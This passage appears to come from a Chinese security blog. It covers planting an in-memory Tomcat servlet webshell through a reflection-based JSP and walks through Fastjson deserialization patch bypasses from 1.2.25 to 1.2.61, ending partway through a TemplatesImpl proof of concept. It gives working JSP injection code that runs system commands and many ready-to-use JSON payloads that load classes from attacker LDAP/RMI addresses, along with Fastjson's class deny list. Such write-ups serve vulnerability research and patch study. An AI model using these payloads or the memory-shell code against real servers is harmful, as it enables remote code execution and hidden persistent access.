<servlet-class>ServletTest</servlet-class> <!-- Servlet 的全类名 -->
</servlet>

<!-- 2. 映射 Servlet 到 URL -->
<servlet-mapping>
<servlet-name>myServlet</servlet-name> <!-- 上面定义的 servlet 名称 -->
<url-pattern>/myServlet</url-pattern> <!-- URL 映射路径 -->
</servlet-mapping>
</web-app>

将tomcat运行起来后,访问[http://localhost:8080/myServlet?cmd=whoami](http://localhost:8080/myServlet?cmd=whoami),成功执行命令并回显

注册流程分析

tomcat解析xml文件的具体流程在这里不分析,我们直接看到解析xml文件后做注册的地方ContextConfig#configureContext

注册大概流程如下

  1. 创建一个wrapper
  2. 设置servlet的名字
  3. 设置servlet相关联的类
  4. 将wrapper加入到context中
  5. 配置路径
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
private void configureContext(WebXml webxml) {
......
for (ServletDef servlet : webxml.getServlets().values()) {
//创建一个wrapper
Wrapper wrapper = context.createWrapper();
// Description is ignored
// Display name is ignored
// Icons are ignored

// jsp-file gets passed to the JSP Servlet as an init-param

if (servlet.getLoadOnStartup() != null) {
//预加载
//serlvet一般在访问后创建,如果设置相关配置,即可在访问创建
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
//设置servlet名字
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
//设置关联的类
wrapper.setServletClass(servlet.getServletClass());
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0;

if(null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if(null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if(null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}

wrapper.setMultipartConfigElement(new MultipartConfigElement(
multipartdef.getLocation(),
maxFileSize,
maxRequestSize,
fileSizeThreshold));
}
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(
servlet.getAsyncSupported().booleanValue());
}
wrapper.setOverridable(servlet.isOverridable());
//将wrapper加入到context中
context.addChild(wrapper);
}
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
//配置路径
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
......
}

启动服务时走入该方法后,即可看到有两个自带的servlet和我们自己配置的serlvet

实现

实现条件

要实现内存马,有两个条件
  1. 写一个servlet木马
  2. 将servlet注册入tomcat中

写servlet马

我们仿照默认的Servlet来写一个恶意类,使我们的主机弹计算器即可(jsp中定义东西需要使用**<%! %>**)

若有需要,可以自行实现回显木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<%!
public class HelloServlet extends HttpServlet {
private String message;

public void init() {
message = "Hello World!";
}

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
Runtime.getRuntime().exec("calc");
}

public void destroy() {
}
}
%>

动态注册servlet

动态注册中分为两步

  1. 获取standardcontext
  2. 注册进tomcat

获取standardcontext

在jsp中默认有一个request对象,这个对象中存在一个getServletContext方法,会获取一个servletContext

在动态调试中,我们可以看到,servletContext中存在一个ApplicationContext,而在ApplicationContext中即存在着standardcontext,是我们想要获取的对象

接下来我们就要通过servletContext来获取standardcontext

由于私有属性无法直接被获取,所以我们要通过反射特性来获取属性

1
2
3
4
5
6
7
8
9
10
<%
ServletContext servletContext = request.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext =(ApplicationContext) context.get(servletContext);

Field standardContext = applicationContext.getClass().getDeclaredField("context");
standardContext.setAccessible(true);
StandardContext context1 = (StandardContext) standardContext.get(applicationContext);
%>

注册进tomcat

注册进tomcat就和下面分析的流程是一样的,但不需要加多余的判断等东西

需要注意,注册的过程中多一个实例化Servlet并setServlet的步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<%
//获取standardcontext
ServletContext servletContext = request.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext =(ApplicationContext) context.get(servletContext);

Field standardContext = applicationContext.getClass().getDeclaredField("context");
standardContext.setAccessible(true);
StandardContext context1 = (StandardContext) standardContext.get(applicationContext);

//注册进tomcat
Wrapper wrapper = context1.createWrapper();
wrapper.setName("MemServlet");
wrapper.setServletClass(MemServlet.class.getName());
//实例化Servlet
wrapper.setServlet(new MemServlet());

context1.addChild(wrapper);
context1.addServletMappingDecoded("/mem","MemServlet");
%>

激活

想要访问内存马,就要访问我们创建的jsp文件,创建恶意类servlet并注册进tomcat中

然后即可访问我们所设定的内存马路径,触发恶意代码

FastJson各版本绕过分析

这篇主要是讲一下Fastjson中版本>=1.2.25后补丁的绕过方式

tips: 都必须开启AutoTypeSupport才能成功

漏洞修复

想要绕过后续版本,我们就一定要知道哪里做了修改

修补方案就是将DefaultJSONParser.parseObject()函数中的TypeUtils.loadClass替换为checkAutoType()函数

checkAutoType()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

// autoTypeSupport默认为False
// 当autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}

for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

// 从Map缓存中获取类,注意这是后面版本的漏洞点
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

// 当autoTypeSupport未开启时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

if (clazz != null) {

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

为了梳理一下整个流程,这里准备了一个流程图

简单来说,新版本对fastjson反序列化的限制就是使用黑白名单的方式进行过滤,acceptList为白名单(默认为空)。denyList为黑名单(默认不为空)

默认autoTypeSupport为false,即先执行黑名单过滤,遍历denyList

黑名单denyList过滤列表如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

若正常执行1.2.24payload,则会爆出 autoType 不支持该类的错误

小结

1.2.24之后的版本后,都是使用checkAutoType()函数,用黑白名单的方式来防御Fastjson反序列化漏洞,因此后面不同补丁的绕过都是基于黑名单的绕过

1.2.25 - 1.2.41 补丁绕过

若按照以前的EXP直接运行,则爆出以下错误,说不支持该类,被黑名单ban了

绕过

这里只需要简单绕过以下,尝试在 com.sun.rowset.JdbcRowSetImpl 前面加一个 L,结尾加上 ; 绕过

并且记住开启AutoTypeSupport

运行后即可绕过黑名单,成功执行payload

断点分析

黑名单绕过

我们在checkAutoType处下一个断点,跟着看一下怎么绕过的

在如下代码处,首先会进行黑名单校验,之前我们的异常就是在此处抛出的

由于我们对类名加上了L;,所以这里被不会被拦截

1
2
3
4
5
6
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

下一步进入以下部分,这里是一个利用点,后面再说

这里会从Map缓存中查找此类,但是我们之前并没有加载过它,就无法找到

1
2
3
4
5
6
7
8
9
10
11
12
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

下一步if条件中!autoTypeSupport,是false的,因此这里并没有什么影响

1
2
3
if (!autoTypeSupport) {
......
}

最后走到这里,我们的autoTypeSupport为true,直接走入核心方法TypeUtils.loadClass

1
2
3
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

类加载

loadClass方法中,存在这么一个地方,它的功能就是,若以L开头;结尾,则会去除该开头和该结尾,恢复我们正常的类名

后续的类加载过程就不再多说

1
2
3
4
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

1.2.25-1.2.42 补丁绕过

新一个EXP是这样的,后续的补丁,会在黑名单过滤之前,先将开头L和结尾;提取出来,若我们写两个L和两个;,即可绕过限制

1
2
3
4
5
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}

1.2.25-1.2.43 补丁绕过

补丁

在checkAutoType()函数中,修改的是直接对类名以”LL”开头的直接报错

绕过

先给出EXP
1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}

在1.2.43之前,运行后是可以执行恶意代码的

断点调试

我们断点下到以下部分,这里会检查,@type的第一个字符是不是[,若第一个字符是[,则会删除第一个[,提取出来其中的类名,调用Array.newInstance,并getClass来获取返回类

1
2
3
4
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

然后会进入checkAutoType函数,对[com.sun.rowset.JdbcRowSetImpl这个函数名进行黑白名单验证,类名前有一个[,所以当然不会被拦截

然后就该进行反序列化的操作了,进入到deserialize

在该方法中,我们之前的报错提示就是从DefaultJSONParser.parseArray()里面抛出的,进该方法的内部分析一下

这里就对我们后面的字符进行判断,判断其是否为[{,这里就是我们报错的原因,只需要将其一一满足即可

1
2
3
if (token != JSONToken.LBRACKET) {
throw new JSONException("exepct '[', but " + JSONToken.name(token) + ", " + lexer.info());
}

1.2.25-1.2.45补丁绕过

补丁

调试checkAutoType()函数,看到对前一个补丁绕过方法的”[“字符进行了过滤,只要类名以”[“开头就直接抛出异常

绕过

  • 前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本

pom.xml文件导入如下(不知道为什么3.5.2版本也能行)

1
2
3
4
5
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.2</version>
</dependency>

绕过EXP如下,其中连ldap或rmi都可

1
2
3
4
5
6
7
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":
{
"data_source":"ldap://localhost:1389/Exploit"
}
}

运行后可以成功执行恶意命令

断点调试

从EXP分析,可以知道我们要去`JndiDataSourceFactory`这个类,并且寻找它对`properties`进行赋值的地方,其代码如下

我把断点下载setter方法中,在该方法中,我们找到了熟悉的JNDI注入,即initCtx.lookup(),其中参数由我们输入的properties属性中的data_source值获取的

所以我们可以很简单的就绕过该补丁限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void setProperties(Properties properties) {
try {
InitialContext initCtx;
Properties env = getEnvProperties(properties);
if (env == null) {
initCtx = new InitialContext();
} else {
initCtx = new InitialContext(env);
}

if (properties.containsKey(INITIAL_CONTEXT)
&& properties.containsKey(DATA_SOURCE)) {
Context ctx = (Context) initCtx.lookup(properties.getProperty(INITIAL_CONTEXT));
dataSource = (DataSource) ctx.lookup(properties.getProperty(DATA_SOURCE));
} else if (properties.containsKey(DATA_SOURCE)) {
dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
}

} catch (NamingException e) {
throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);
}
}

1.2.25-1.2.47补丁绕过

分析

在1.2.24版本之后,当在DefaultJSONParser#parseObject方法中检测到@type关键字后,会调用checkAutoType方法对所加载的类有所限制。而在1.2.24版本前,这个位置直接进行了loadclass

1
2
3
4
5
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
Class<?> clazz = config.checkAutoType(typeName, null);
......
}

下面即为ParserConfig#checkAutoType的代码,因为他的逻辑比较复杂,因此我跟着组长搞了一个流程图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}

for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

if (clazz != null) {

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

其中,黄色部分为,可以实现类加载的地方

我们这里不分析其他地方,只在第二个返回类的地方做文章

首先他会从缓存中找有没有这个类,如果没有找到就从deserializers中继续找,这里它也是一个缓存,如果找到的话则会判断是否期望类不为空且与期望类不一致,如果判断为false的话就会返回这个类。这个条件在默认条件下为flase,因此我们只需要在缓存中存在这个类,即可返回这个类。

1
2
3
4
5
6
7
8
9
10
11
12
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

读取缓存时,是从mappings中寻找,所以我们需要寻找,在什么地方将类存入mappings

1
2
3
public static Class<?> getClassFromMapping(String className) {
return mappings.get(className);
}

我们找到的可控的方法,为TypeUtils#loadClass方法

这代表的是,如果之前加载过这个类,就放入缓存中,下次加载的时候直接从缓存中拿出

1
2
3
4
5
6
7
8
9
10
11
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}

Class<?> clazz = mappings.get(className);

......

return clazz;
}

然后找哪个地方调用了loadClass方法,找到的可利用方法为MiscCodec#deserialze

在clazz等于Class.class的情况下,会调用loadClass

1
2
3
4
5
6
7
8
9
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
......

if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

......
}

这个**MiscCodec**是什么呢,它继承了ObjectSerializerObjectDeserializer,是一个序列化/反序列化器

1
public class MiscCodec implements ObjectSerializer, ObjectDeserializer 

DefaultJSONParser#parseObject进行反序列化的时候,使用的是JavaBeanDeserializer反序列化器

但是这个反序列化器,我们可以看到,是从config找到的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
try {
Object instance = null;
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
if (deserializer instanceof JavaBeanDeserializer) {
instance = ((JavaBeanDeserializer) deserializer).createInstance(this, clazz);
}

if (instance == null) {
if (clazz == Cloneable.class) {
instance = new HashMap();
} else if ("java.util.Collections$EmptyMap".equals(typeName)) {
instance = Collections.emptyMap();
} else {
instance = clazz.newInstance();
}
}

在进行初始化的时候,它会把对应类所对应的反序列化器放进去

其中很多都用的是MiscCodec的反序列化器,Class.class就是它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
private ParserConfig(ASMDeserializerFactory asmFactory, ClassLoader parentClassLoader){
if (asmFactory == null && !ASMUtils.IS_ANDROID) {
try {
if (parentClassLoader == null) {
asmFactory = new ASMDeserializerFactory(new ASMClassLoader());
} else {
asmFactory = new ASMDeserializerFactory(parentClassLoader);
}
} catch (ExceptionInInitializerError error) {
// skip
} catch (AccessControlException error) {
// skip
} catch (NoClassDefFoundError error) {
// skip
}
}

this.asmFactory = asmFactory;

if (asmFactory == null) {
asmEnable = false;
}

deserializers.put(SimpleDateFormat.class, MiscCodec.instance);
deserializers.put(java.sql.Timestamp.class, SqlDateDeserializer.instance_timestamp);
deserializers.put(java.sql.Date.class, SqlDateDeserializer.instance);
deserializers.put(java.sql.Time.class, TimeDeserializer.instance);
deserializers.put(java.util.Date.class, DateCodec.instance);
deserializers.put(Calendar.class, CalendarCodec.instance);
deserializers.put(XMLGregorianCalendar.class, CalendarCodec.instance);

deserializers.put(JSONObject.class, MapDeserializer.instance);
deserializers.put(JSONArray.class, CollectionCodec.instance);

deserializers.put(Map.class, MapDeserializer.instance);
deserializers.put(HashMap.class, MapDeserializer.instance);
deserializers.put(LinkedHashMap.class, MapDeserializer.instance);
deserializers.put(TreeMap.class, MapDeserializer.instance);
deserializers.put(ConcurrentMap.class, MapDeserializer.instance);
deserializers.put(ConcurrentHashMap.class, MapDeserializer.instance);

deserializers.put(Collection.class, CollectionCodec.instance);
deserializers.put(List.class, CollectionCodec.instance);
deserializers.put(ArrayList.class, CollectionCodec.instance);

deserializers.put(Object.class, JavaObjectDeserializer.instance);
deserializers.put(String.class, StringCodec.instance);
deserializers.put(StringBuffer.class, StringCodec.instance);
deserializers.put(StringBuilder.class, StringCodec.instance);
deserializers.put(char.class, CharacterCodec.instance);
deserializers.put(Character.class, CharacterCodec.instance);
deserializers.put(byte.class, NumberDeserializer.instance);
deserializers.put(Byte.class, NumberDeserializer.instance);
deserializers.put(short.class, NumberDeserializer.instance);
deserializers.put(Short.class, NumberDeserializer.instance);
deserializers.put(int.class, IntegerCodec.instance);
deserializers.put(Integer.class, IntegerCodec.instance);
deserializers.put(long.class, LongCodec.instance);
deserializers.put(Long.class, LongCodec.instance);
deserializers.put(BigInteger.class, BigIntegerCodec.instance);
deserializers.put(BigDecimal.class, BigDecimalCodec.instance);
deserializers.put(float.class, FloatCodec.instance);
deserializers.put(Float.class, FloatCodec.instance);
deserializers.put(double.class, NumberDeserializer.instance);
deserializers.put(Double.class, NumberDeserializer.instance);
deserializers.put(boolean.class, BooleanCodec.instance);
deserializers.put(Boolean.class, BooleanCodec.instance);
deserializers.put(Class.class, MiscCodec.instance);
deserializers.put(char[].class, new CharArrayCodec());

deserializers.put(AtomicBoolean.class, BooleanCodec.instance);
deserializers.put(AtomicInteger.class, IntegerCodec.instance);
deserializers.put(AtomicLong.class, LongCodec.instance);
deserializers.put(AtomicReference.class, ReferenceCodec.instance);

deserializers.put(WeakReference.class, ReferenceCodec.instance);
deserializers.put(SoftReference.class, ReferenceCodec.instance);

deserializers.put(UUID.class, MiscCodec.instance);
deserializers.put(TimeZone.class, MiscCodec.instance);
deserializers.put(Locale.class, MiscCodec.instance);
deserializers.put(Currency.class, MiscCodec.instance);
deserializers.put(InetAddress.class, MiscCodec.instance);
deserializers.put(Inet4Address.class, MiscCodec.instance);
deserializers.put(Inet6Address.class, MiscCodec.instance);
deserializers.put(InetSocketAddress.class, MiscCodec.instance);
deserializers.put(File.class, MiscCodec.instance);
deserializers.put(URI.class, MiscCodec.instance);
deserializers.put(URL.class, MiscCodec.instance);
deserializers.put(Pattern.class, MiscCodec.instance);
deserializers.put(Charset.class, MiscCodec.instance);
deserializers.put(JSONPath.class, MiscCodec.instance);
deserializers.put(Number.class, NumberDeserializer.instance);
deserializers.put(AtomicIntegerArray.class, AtomicCodec.instance);
deserializers.put(AtomicLongArray.class, AtomicCodec.instance);
deserializers.put(StackTraceElement.class, StackTraceElementDeserializer.instance);

deserializers.put(Serializable.class, JavaObjectDeserializer.instance);
deserializers.put(Cloneable.class, JavaObjectDeserializer.instance);
deserializers.put(Comparable.class, JavaObjectDeserializer.instance);
deserializers.put(Closeable.class, JavaObjectDeserializer.instance);

addItemsToDeny(DENYS);
addItemsToAccept(AUTO_TYPE_ACCEPT_LIST);

}

这里这个流程就走完了,我们加载Class.class,使用MiscCodec反序列化器,调用loadClass,将类名传入,并放入缓冲区中

当我们再次对类进行加载的时候,就直接从缓存中返回类

实现

第一步 反序列化一个Class类,值为恶意类

第二步 接着用之前的payload

加载第一个Class类时候设置类为Class类,后面的参数名就叫val即可,若不为它就会报错

第二个类直接使用之前payload即可

1
2
3
4
5
6
public class Fastjson1227 {
public static void main(String[] args) throws Exception {
String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/KemDnGOe\",\"autoCommit\":false}}";
JSON.parseObject(s);
}
}

最后成功加载恶意类

补丁分析

由于1.2.47这个洞能够在不开启AutoTypeSupport实现RCE,因此危害十分巨大,我们看看是怎样修的

1.2.48中的修复措施是,在loadClass()时,将缓存开关默认置为False,所以默认是不能通过Class加载进缓存了。同时将Class类加入到了黑名单中。调试分析,在调用TypeUtils.loadClass()时中,缓存开关cache默认设置为了False,对比下两个版本的就知道了。

1
2
3
4
5
6
7
8
//1.2.47
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}
//1.2.48
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, false);
}

Fastjson <= 1.2.61 通杀

Fastjson1.2.5 <= 1.2.59

  • 需要开启AutoType
1
2
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

Fastjson1.2.5 <= 1.2.60

  • 需要开启AutoType
1
2
3
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

Fastjson1.2.5 <= 1.2.60

1
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/ExportObject"}

Fastjson-1.2.24

环境

  • JDK8u65
  • 1.2.22 <= Fastjson <= 1.2.24

pom.xml 文件导入如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.12</version>
</dependency>

出网情况下

基于TemplatesImpl的利用链

分析

我们一定对TemplatesImpl有所了解,学习CC链时,就有它的身影,我们使用它的getTransletInstance方法去加载任意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

继续深入的分析,我们已经在CC链专题中讲过了,这里就不再多说

我们要想走到defineTransletClasses方法,并进行实例化类,需要以下几个条件成立

  • _name 不等于 null
  • _class 等于 null
  • _tfactory 为 TransformerFactoryImpl

因此在设想中,我们的poc大概是以下这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

final String evilClassPath = "E:\\JavaClass\\TemplatesBytes.class";
"
{

\"@type\":\"" + NASTY_CLASS + "\",
\"_bytecodes\":[\""+evilCode+"\"],
'_name':'Drunkbaby',
'_tfactory':{ },

";


但是实际上,getTransletInstance并不满足我们的getter的条件

1
2
3
4
5
6
7
private Translet getTransletInstance()
throws TransformerConfigurationException {
......
return translet;
}
......
}

我们应该找哪里调用了该方法,发现只有newTransformer中调用了,但他不是符合setter或getter方法,继续向上找去,找到一个符合条件的setter与getter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

最终我们找到了方法getOutputProperties,是可以让我们利用的getter方法,它的返回值Properties正是一个Map类型

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

大概链子如下

1
getOutputProperties()  ---> newTransformer() ---> TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);

现在我们的大概POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
